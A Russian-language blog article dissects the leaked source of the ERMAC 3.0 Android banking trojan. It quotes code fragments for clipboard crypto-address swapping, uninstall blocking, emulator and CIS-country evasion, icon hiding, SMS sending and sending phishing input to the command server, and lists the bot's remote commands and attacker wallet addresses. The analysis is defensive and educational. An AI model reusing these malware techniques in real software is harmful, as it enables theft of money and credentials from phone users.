Разбор Android-трояна ERMAC 3.0: как устроен банковский вор изнутри
В мои руки попал исходный код Android-трояна ERMAC 3.0. Я решил разобрать его по косточкам — не для того чтобы вы пошли грабить бабушек, а чтобы вы понимали, как именно вас пытаются ограбить.
Дисклеймер: Эта статья предназначена исключительно для образовательных целей. Если вы решите использовать эти знания для чего-то противозаконного — вы идиот, и я вас предупредил.
TL;DR
ERMAC 3.0 — банковский Android-троян, который маскируется под приложения доставки еды и крадёт данные банковских карт, криптокошельков и SMS с кодами 2FA. Использует Accessibility Service для перехвата ввода, подмены криптоадресов в буфере обмена и блокировки собственного удаления. Умеет показывать фишинговые окна поверх банковских приложений, красть seed-фразы из MetaMask, Trust Wallet и ещё пяти кошельков, рассылать SMS по вашим контактам. Не работает в СНГ и на эмуляторах — авторы не гадят где живут.
Статья будет полезна безопасникам, Android-разработчикам и всем, кто хочет понимать как устроены современные мобильные угрозы.
Немного истории: как ковид породил монстра
Помните 2020 год? Мы все сидели по домам, заказывали еду через приложения и радовались, что хотя бы пицца приезжает. Пока вы выбирали между "Маргаритой" и "Четырьмя сырами", кто-то очень предприимчивый подумал: "А что если засунуть троян в фейковое приложение доставки?" И засунул.
ERMAC начал свою карьеру именно так — маскируясь под сервисы доставки еды. Польский CERT Orange задокументировал один из таких случаев:
Выглядит прилично, правда? Польский сервис, эстонская компания-владелец. Но когда ребята из CERT пробили домен — вылезло интересное:
Серверы в России. Для польского сервиса доставки. С эстонской регистрацией. Как написали ребята из CERT: "Эстонская компания с глобальным присутствием на российских серверах? Даже если бы это было выгодно с точки зрения бизнеса, в данном случае бизнес проиграл бы из-за геополитики. Трёхмесячный SSL-сертификат и аналитика исключительно на Яндексе? Нет... нет."
Действительно, нет.
Источник: cert.orange.pl
Структура зверя
Давайте посмотрим, что внутри этого чудовища:
Android/
├── source/bot/src/main/java/com/amazon/zzz/
│ ├── MainActivity.kt # Точка входа
│ ├── Payload.kt # Запуск payload
│ ├── Services/
│ │ ├── srvSccessibility.kt # Accessibility Service (ядро трояна)
│ │ ├── srvEndlessService.kt # Фоновый сервис
│ │ └── srvLockDevice.kt # Блокировка устройства
│ ├── Modull/
│ │ ├── module.kt # Обработка команд от C2
│ │ └── task/ # Файловый менеджер, камера
│ ├── Receivers/ # SMS, Boot receivers
│ ├── Admin/ # Device Admin
│ └── ApiNm/ # Связь с C2 сервером
├── Obfuscapk/ # Обфускация APK
└── apktool.jar # Декомпилятор
Выглядит почти профессионально. Почти.
Что умеет этот троян
Первое, что делает ERMAC при запуске — проверяет, где он оказался:
if (utUtils.blockCIS(applicationContext) || utUtils.isRunningOnEmulator()) {
finish()
return
}
Если вы из СНГ или запустили на эмуляторе — троян вежливо завершается. Патриоты, мать их. Не гадят там, где живут.
Дальше начинается магия Accessibility Service — это Android API, который изначально создавался чтобы помогать людям с ограниченными возможностями. Троян использует его для автоматических кликов по кнопкам разрешений, перехвата всего ввода, чтения буфера обмена и подмены криптоадресов, блокировки попыток себя удалить, отключения Google Play Protect и чтения всех push-уведомлений. Красота, правда?
Команды с сервера управления
Вот полный список того, что оператор трояна может сделать с вашим телефоном.
SMS и звонки:sendsms — отправить SMS,getsms — украсть все SMS,sendsmsall — разослать SMS по всем контактам,calling — позвонить на номер,forwardcall — переадресовать звонки,startussd — выполнить USSD-запрос.
Кража данных:getcontacts — украсть контакты,fmmanager — файловый менеджер,takephoto — сфоткать вас.
Фишинг и инъекции:startinject — показать фишинговое окно поверх приложения,push — отправить фейковое уведомление,openurl — открыть URL в браузере.
Управление ботом:startadmin — запросить права администратора,deleteapplication — удалить приложение,killme — самоуничтожиться.
Отдельно стоит упомянуть специальные команды для кражи seed-фраз из криптокошельков: Trust Wallet, MetaMask, Exodus, Mycelium, SafePal, Samourai, Blockchain.com. Если у вас есть крипта — они её хотят.
27 разрешений ада
Троян запрашивает 27 разрешений. Посмотрим на самые вкусные.
Опасные разрешения (те, на которые вы должны нажать "разрешить"):RECEIVE_SMS / READ_SMS / SEND_SMS — перехват 2FA, чтение переписки, рассылка;READ_CONTACTS — кража контактов, рассылка по списку;GET_ACCOUNTS — кража email-аккаунтов;READ_PHONE_STATE — IMEI, номер телефона, оператор;CALL_PHONE — звонки без вашего ведома.
Специальные разрешения (требуют отдельного включения в настройках):SYSTEM_ALERT_WINDOW — показ фишинговых окон поверх приложений;REQUEST_INSTALL_PACKAGES — установка обновлений бота;REQUEST_DELETE_PACKAGES — удаление антивирусов;BIND_DEVICE_ADMIN — защита от удаления;BIND_ACCESSIBILITY_SERVICE — ядро всей операции.
Приложение также слушает 15+ системных событий: загрузку устройства, входящие SMS, включение экрана, изменение заряда батареи, установку и удаление приложений.
Топ-10 изящных решений
Надо отдать должное — некоторые вещи сделаны красиво. С технической точки зрения, разумеется.
1. Подмена криптоадресов на лету
var regex = Regex("\\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}") // BTC
var regex2 = Regex("\\b(0x)?[0-9a-fA-F]{40}") // ETH
private fun ClipboardManager.setClipBoard(str: String, event: AccessibilityEvent) {
if (str.contains(regex2)) {
val str = str.replace(regex2, "0x3Cf7d4A8D30035Af83058371f0C6D4369B5024Ca")
this.setPrimaryClip(ClipData.newPlainText(str, str))
event.source?.performAction(AccessibilityNodeInfo.ACTION_SET_TEXT, args)
}
}
Перехватывает момент, когда вы вводите криптоадрес, распознаёт его regex'ом, подменяет и в буфере обмена, и прямо в поле ввода. Вы копируете свой адрес, вставляете — а там уже адрес злоумышленника. Элегантно.
2. Многоуровневая защита от удаления
private fun blockDeleteBots(packageName: String): Boolean {
if (className.contains("installedappdetailstop")) {
blockBack()
return true
}
if (packageName.contains("packageinstaller") && strText.contains(appName)) {
blockBack()
return true
}
if (className == "deviceadminadd" && isAdminDevice) {
blockBack()
return true
}
}
Перехватывает попытки удаления на трёх уровнях: в настройках приложения, в диалоге удаления и при отключении прав администратора. Пытаетесь удалить — вас выкидывает назад.
3. Поддержка всех производителей
private fun clearCache2() {
if (manufacturer.contains("samsung")) { /* Samsung-specific */ }
else if (manufacturer.contains("xiaomi")) { /* MIUI-specific */ }
else if (manufacturer.contains("huawei")) { /* EMUI-specific */ }
else if (manufacturer.contains("oppo")) { /* ColorOS-specific */ }
// ...и так для 10+ производителей
}
Адаптация под Samsung, Xiaomi, Huawei, Oppo и ещё десяток производителей — каждый со своими уникальными ID элементов интерфейса. Кто-то реально потратил время на тестирование.
4. Фейковые push-уведомления
fun sendNotification(mContext: Context, app: String, title: String?, text: String?) {
val icon = activity.loadIcon(pm)
bitmap = drawableToBitmap(icon!!)
notificationBuilder.setSmallIcon(Icon.createWithBitmap(bitmap))
notificationIntent.putExtra("startpush", app)
}
Динамически загружает иконку целевого приложения и создаёт уведомление, неотличимое от настоящего. При клике открывается фишинговая страница.
5. Двойное шифрование
Один слой AES-CBC для сетевого трафика, другой — для обфускации строк в APK. Разделение ответственности, как в приличном проекте.
6. WebView-мост для инъекций
inner class WebAppInterface {
@JavascriptInterface
fun returnResult(data: String) {
val jsonObject = JSONObject()
jsonObject.put("application", nameInj)
jsonObject.put("data", data)
apiUt.sendLogs(mContext, nameInj, jsonObject.toString(), type)
}
}
Чистый интерфейс между HTML-фишингом и нативным кодом. Вводите данные карты в фейковое окно — они мгновенно улетают на сервер.
7. Детекция аналитиков
fun blockCIS(context: Context): Boolean {
return "[ua][ru][by][tj][uz][tm][az][am][kz][kg][md]".contains(countrySIM(context))
}
fun isRunningOnEmulator(): Boolean {
return Build.FINGERPRINT.contains("generic")
|| Build.MODEL.contains("Emulator")
|| Build.MANUFACTURER.contains("Genymotion")
}
Проверка SIM-карты на СНГ-страны плюс детекция эмуляторов. Классика.
8. Dual-SIM поддержка
fun sendSms(context: Context, phoneNumber: String, message: String, simSlotIndex: Int = 0) {
val subscriptionInfo = subscriptionManager.getActiveSubscriptionInfoForSimSlotIndex(simSlotIndex)
SmsManager.getSmsManagerForSubscriptionId(subscriptionInfo.subscriptionId)
.sendTextMessage(phoneNumber, null, message, pendingIntent, deliveredPI)
}
Полная поддержка двух SIM-карт — оператор может выбрать, с какой отправлять SMS.
9. Исчезающая иконка
fun deleteLabelIcon(context: Context) {
val CTD = ComponentName(context, MainActivity::class.java)
context.packageManager.setComponentEnabledSetting(
CTD,
PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
PackageManager.DONT_KILL_APP
)
}
Иконка исчезает из лаунчера, но приложение продолжает работать. Жертва даже не знает, что что-то установлено.
10. Рекурсивный поиск элементов
fun findNodeWithClass(node: AccessibilityNodeInfo?, className: String): List<AccessibilityNodeInfo> {
val result = ArrayList<AccessibilityNodeInfo>()
for (i in 0 until node.childCount) {
val child = node.getChild(i)
if (child.className.toString().contains(className)) {
result.add(child)
} else {
result.addAll(findNodeWithClass(child, className))
}
}
return result
}
Универсальный обход дерева UI для поиска любых элементов. Базовая, но нужная функция.
Топ-10 позорных решений
А теперь — почему авторы этого трояна всё-таки не получат работу в нормальной компании.
1. Статический IV в шифровании
private val IV: String by lazy { base64Decode("MDEyMzQ1Njc4OWFiY2RlZg==") }
// Декодируется в: "0123456789abcdef"
IV должен быть случайным для каждого сообщения, а здесь он статический и предсказуемый. Первокурсник по криптографии.
2. Захардкоженные криптоадреса
str.replace(regex2, "0x3Cf7d4A8D30035Af83058371f0C6D4369B5024Ca")
str.replace(regex, "bc1ql34xd8ynty3myfkwaf8jqeth0p4fxkxg673vlf")
Адреса прямо в коде — любой аналитик найдёт их за секунду и занесёт в блеклисты. Должны приходить с сервера.
3. Copy-paste на 10 экранов
} else if (manufacturer.contains("samsung")) {
// 30 строк кода
} else if (manufacturer.contains("motorola")) {
// Те же 30 строк
} else if (manufacturer.contains("oppo")) {
// Опять те же 30 строк
Один и тот же код повторяется 10+ раз с минимальными изменениями. DRY? Не слышали.
4. Пустые catch-блоки
} catch (e: Exception) {
// Пустота
}
По всему проекту ошибки проглатываются молча. При отладке — ад.
5. Пасхалки с оскорблениями
"Уничтожить_все_человечество" -> { File(...).delete() }
"Путин_красавчик" -> { File(...).delete() }
"Сдохни_тот_кто_разреверсил_это" -> { File(...).delete() }
Детский сад. Эти строки — готовые индикаторы компрометации для любого антивируса.
6. Русские переменные в продакшене
val кэш_епт by lazy { ... }
val сука by lazy { ... }
val убить_всех by lazy { ... }
val сброс_всего_человечества by lazy { ... }
val тупые_реверсы_думают_что_эти_приложения_будем_атаковать = ...
Grep по кириллице — и вот вам происхождение малвари. Гениально.
7. Дублирование функций
// В utUtils.kt:
fun stopSound(context: Context) { ... }
// В udUtils.kt - ИДЕНТИЧНЫЙ код:
fun stopSound(context: Context) { ... }
Одна функция, два файла, полное дублирование. Зачем?
8. Magic numbers
val number = c.getString(2) // Что такое 2?
val stexts = c.getString(12) // 12?
val text = c.getString(13) // 13?
Индексы колонок без констант и комментариев. Хрупкий код, который сломается при первом изменении.
9. Закомментированный код в продакшене
fun checkProtect(context: Context) {
try {
// SafetyNet.getClient(context)
// .isVerifyAppsEnabled
// .addOnCompleteListener { task ->
// ...
// }
} catch (ex: Exception) {
SharedPreferencess.checkProtect = "2"
}
}
20+ строк закомментированного кода. Функция ничего не делает.
10. Плейсхолдеры в продакшене
val url: String = if (BuildConfig.DEBUG) "http://10.0.2.2:3434" else "%INSERT_URL_HERE%"
val k: String = if (BuildConfig.DEBUG) "..." else "%INSERT_KEY_HERE%"
Забыл заменить — бот не работает. Никакой валидации.
Считаем бабки
Помните захардкоженные криптоадреса, за которые я ругал авторов? Давайте посмотрим, сколько они наворовали.
- Bitcoin: bc1ql34xd8ynty3myfkwaf8jqeth0p4fxkxg673vlf
- Ethereum: 0x3Cf7d4A8D30035Af83058371f0C6D4369B5024Ca
Общий объём транзакций — около двух тысяч долларов. Две тысячи долларов.
Ребята написали троян с 27 разрешениями, поддержкой десяти производителей смартфонов, двойным шифрованием, кражей из семи криптокошельков, веб-билдером на PHP — и заработали меньше, чем джун за месяц на испытательном сроке. Это даже не смешно, это грустно. Может, поэтому и не взяли на нормальную работу?
Веб-билдер: собери трояна за 5 минут
В комплекте идёт веб-интерфейс на PHP для сборки кастомных версий. Выбираешь, под какое приложение маскироваться: Telegram, Facebook, Instagram, Chrome, YouTube, WhatsApp, TikTok.
Вывод
С точки зрения архитектуры видно: это проект на один раз — срубить бабла и съебаться. Никакого долгосрочного планирования, код написан на коленке, половина — copy-paste, переменные на русском матом.
Но штука в том, что оно работает. Тысячи людей уже потеряли деньги из-за таких троянов — не потому что код хороший, а потому что люди кликают "Разрешить" не читая, устанавливают приложения из непонятных источников и верят, что доставка еды реально требует права администратора устройства.
Не будьте такими людьми.
В следующих частях разберём PHP-панель управления этим зверинцем и попробуем запустить её на виртуалке.